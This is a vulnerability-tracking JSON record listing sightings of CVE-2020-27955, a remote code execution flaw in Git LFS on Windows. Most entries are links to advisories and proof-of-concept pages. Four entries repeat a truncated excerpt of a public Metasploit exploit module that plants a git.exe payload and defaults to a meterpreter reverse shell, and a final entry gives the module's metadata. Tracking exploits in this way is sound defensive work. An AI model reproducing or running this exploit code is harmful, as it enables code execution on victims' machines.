{"vulnerability": "CVE-2020-27955", "sightings": [{"uuid": "f6380ec6-d820-49da-81ba-19f09303863c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "f7518b43-bfc0-470c-a0a0-e62393dd12e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:27.000000Z"}, {"uuid": "42ecc6eb-80ee-44ac-8b67-6c9d7bf64ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/git_lfs_rce.rb", "content": "", "creation_timestamp": "2021-09-15T19:13:18.000000Z"}, {"uuid": "9f471e40-c503-4ec4-9dfb-7238e36ef5db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "https://t.me/cKure/2724", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html", "creation_timestamp": "2020-11-06T13:07:09.000000Z"}, {"uuid": "8f3a7002-8c2a-4d31-aac4-73bc6401e910", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "Telegram/d-rVDZTUKUG3IYUJ4BAdDnIieq971JGpK_Ia99hM3eRIwok", "content": "", "creation_timestamp": "2025-10-28T09:00:04.000000Z"}, {"uuid": "70e57c2c-0f58-45b1-830a-ae71cf703fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "Telegram/9n51D3L18hO7ZKuhjipL63pnZKf6ZYy50kJgEsZoIToiKA", "content": "", "creation_timestamp": "2021-07-03T03:27:57.000000Z"}, {"uuid": "dd152044-4e13-420a-b6e5-78844920a490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "Telegram/Sl8tUhT_outdXvJ8RcDZA1Cc7V9-kLRqTThNSydlLDymgQ", "content": "", "creation_timestamp": "2021-04-21T04:48:16.000000Z"}, {"uuid": "f6978fe6-bca9-4b93-8c3b-00095889919b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "https://t.me/HackerOne/2820", "content": "Critical Git git-lfs vuln RCE exploit CVE-2020-27955 many git clients affected\nhttps://ift.tt/2JDNt5V", "creation_timestamp": "2020-11-05T10:36:46.000000Z"}, {"uuid": "10463029-21a5-4596-bcdb-157a06f94306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/6666", "content": "Git Large File Storage / Git LFS (git-lfs) - Remote Code Execution (RCE)\nhttps://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html", "creation_timestamp": "2020-11-08T12:40:00.000000Z"}, {"uuid": "f6c37b00-8104-4681-92fc-e75bfa864812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2045", "content": "Git Large File Storage/Git LFS (git-lfs) <=2.12 - RCE (CVE-2020-27955)\nhttps://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html\nPoC:\nhttps://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html", "creation_timestamp": "2021-02-22T15:18:08.000000Z"}, {"uuid": "28768a34-83b6-4a55-90b8-3aa8d5a8c02b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "https://t.me/hacking_Attack/23934", "content": "Exploit Collector\nGit git-lfs Remote Code Execution\n\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nThis Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool.\n\nMD5 | 15523ed242b4fcf0e41eea300eaeb7ce\n\nDownload\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Git\ninclude Msf::Exploit::Git::Lfs\ninclude Msf::Exploit::Git::SmartHttp\ninclude Msf::Exploit::Remote::HttpServer\ninclude Msf::Exploit::FileDropper\ninclude Msf::Exploit::EXE\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',\n'Description' => %q{\nA critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\nversioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\ninto cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool\n},\n'Author' => [\n'Dawid Golunski ', # Discovery\n'space-r7',        # Guidance, git mixins\n'jheysel-r7'       # Metasploit module\n],\n'References' => [\n['CVE', '2020-27955'],\n['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']\n],\n'DisclosureDate' => '2020-11-04', # Public disclosure\n'License' => MSF_LICENSE,\n'Platform' => 'win',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Git LFS <=\n{\n'Platform' => ['win']\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n'WfsDelay' => 10\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [\nARTIFACTS_ON_DISK\n]\n}\n)\n)\n\nregister_options([\nOptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])\n])\nderegister_options('RHOSTS')\nend\n\ndef setup_repo_structure\npayload_fname = 'git.exe'\n@hook_payload = generate_payload_exe\n\nptr_file = generate_pointer_file(@hook_payload)\ngit_payload_ptr = GitObject.build_blob_object(ptr_file)\n\ngit_attr_fname = '.gitattributes'\ngit_attr_content = \"#{payload_fname[...]", "creation_timestamp": "2026-09-01T20:02:24.209906Z"}, {"uuid": "ddbd415c-f675-470e-963e-6abee0a7c6c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "https://t.me/hacking_Attack/23934", "content": "Exploit Collector\nGit git-lfs Remote Code Execution\n\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nThis Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool.\n\nMD5 | 15523ed242b4fcf0e41eea300eaeb7ce\n\nDownload\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Git\ninclude Msf::Exploit::Git::Lfs\ninclude Msf::Exploit::Git::SmartHttp\ninclude Msf::Exploit::Remote::HttpServer\ninclude Msf::Exploit::FileDropper\ninclude Msf::Exploit::EXE\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',\n'Description' => %q{\nA critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\nversioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\ninto cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool\n},\n'Author' => [\n'Dawid Golunski ', # Discovery\n'space-r7',        # Guidance, git mixins\n'jheysel-r7'       # Metasploit module\n],\n'References' => [\n['CVE', '2020-27955'],\n['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']\n],\n'DisclosureDate' => '2020-11-04', # Public disclosure\n'License' => MSF_LICENSE,\n'Platform' => 'win',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Git LFS <=\n{\n'Platform' => ['win']\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n'WfsDelay' => 10\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [\nARTIFACTS_ON_DISK\n]\n}\n)\n)\n\nregister_options([\nOptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])\n])\nderegister_options('RHOSTS')\nend\n\ndef setup_repo_structure\npayload_fname = 'git.exe'\n@hook_payload = generate_payload_exe\n\nptr_file = generate_pointer_file(@hook_payload)\ngit_payload_ptr = GitObject.build_blob_object(ptr_file)\n\ngit_attr_fname = '.gitattributes'\ngit_attr_content = \"#{payload_fname[...]", "creation_timestamp": "2026-09-02T01:02:55.432321Z"}, {"uuid": "1c057960-4bf2-477e-9062-cfb93b776233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/23934", "content": "Exploit Collector\nGit git-lfs Remote Code Execution\n\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nThis Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool.\n\nMD5 | 15523ed242b4fcf0e41eea300eaeb7ce\n\nDownload\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Git\ninclude Msf::Exploit::Git::Lfs\ninclude Msf::Exploit::Git::SmartHttp\ninclude Msf::Exploit::Remote::HttpServer\ninclude Msf::Exploit::FileDropper\ninclude Msf::Exploit::EXE\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',\n'Description' => %q{\nA critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\nversioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\ninto cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool\n},\n'Author' => [\n'Dawid Golunski ', # Discovery\n'space-r7',        # Guidance, git mixins\n'jheysel-r7'       # Metasploit module\n],\n'References' => [\n['CVE', '2020-27955'],\n['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']\n],\n'DisclosureDate' => '2020-11-04', # Public disclosure\n'License' => MSF_LICENSE,\n'Platform' => 'win',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Git LFS <=\n{\n'Platform' => ['win']\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n'WfsDelay' => 10\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [\nARTIFACTS_ON_DISK\n]\n}\n)\n)\n\nregister_options([\nOptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])\n])\nderegister_options('RHOSTS')\nend\n\ndef setup_repo_structure\npayload_fname = 'git.exe'\n@hook_payload = generate_payload_exe\n\nptr_file = generate_pointer_file(@hook_payload)\ngit_payload_ptr = GitObject.build_blob_object(ptr_file)\n\ngit_attr_fname = '.gitattributes'\ngit_attr_content = \"#{payload_fname[...]", "creation_timestamp": "2026-09-07T16:00:05.813402Z"}, {"uuid": "1fc425de-8d24-4b37-81fa-b5bbe2dee406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/23934", "content": "Exploit Collector\nGit git-lfs Remote Code Execution\n\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nThis Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool.\n\nMD5 | 15523ed242b4fcf0e41eea300eaeb7ce\n\nDownload\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Git\ninclude Msf::Exploit::Git::Lfs\ninclude Msf::Exploit::Git::SmartHttp\ninclude Msf::Exploit::Remote::HttpServer\ninclude Msf::Exploit::FileDropper\ninclude Msf::Exploit::EXE\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',\n'Description' => %q{\nA critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\nversioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\ninto cloning the attacker\u2019s malicious repository using a vulnerable Git version control tool\n},\n'Author' => [\n'Dawid Golunski ', # Discovery\n'space-r7',        # Guidance, git mixins\n'jheysel-r7'       # Metasploit module\n],\n'References' => [\n['CVE', '2020-27955'],\n['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']\n],\n'DisclosureDate' => '2020-11-04', # Public disclosure\n'License' => MSF_LICENSE,\n'Platform' => 'win',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Privileged' => true,\n'Targets' => [\n[\n'Git LFS <=\n{\n'Platform' => ['win']\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n'WfsDelay' => 10\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [\nARTIFACTS_ON_DISK\n]\n}\n)\n)\n\nregister_options([\nOptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])\n])\nderegister_options('RHOSTS')\nend\n\ndef setup_repo_structure\npayload_fname = 'git.exe'\n@hook_payload = generate_payload_exe\n\nptr_file = generate_pointer_file(@hook_payload)\ngit_payload_ptr = GitObject.build_blob_object(ptr_file)\n\ngit_attr_fname = '.gitattributes'\ngit_attr_content = \"#{payload_fname[...]", "creation_timestamp": "2026-09-08T00:00:40.102182Z"}, {"uuid": "4430a2ac-825e-4d5a-830c-7cec1d4201b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-27955", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/git_lfs_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x86, x64\", \"author\": [\"Dawid Golunski\", \"space-r7\", \"jheysel-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\\n          versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\\n          into cloning the attacker's malicious repository using a vulnerable Git version control tool\", \"disclosure_date\": \"2020-11-04\", \"fullname\": \"exploit/windows/http/git_lfs_rce\", \"is_install_path\": true, \"mod_time\": \"2025-06-25 11:20:47 +0000\", \"name\": \"Git Remote Code Execution via git-lfs (CVE-2020-27955)\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/http/git_lfs_rce.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"windows/http/git_lfs_rce\", \"references\": [\"CVE-2020-27955\", \"URL-https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Git LFS <= 2.12\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:51:48.481814Z"}]}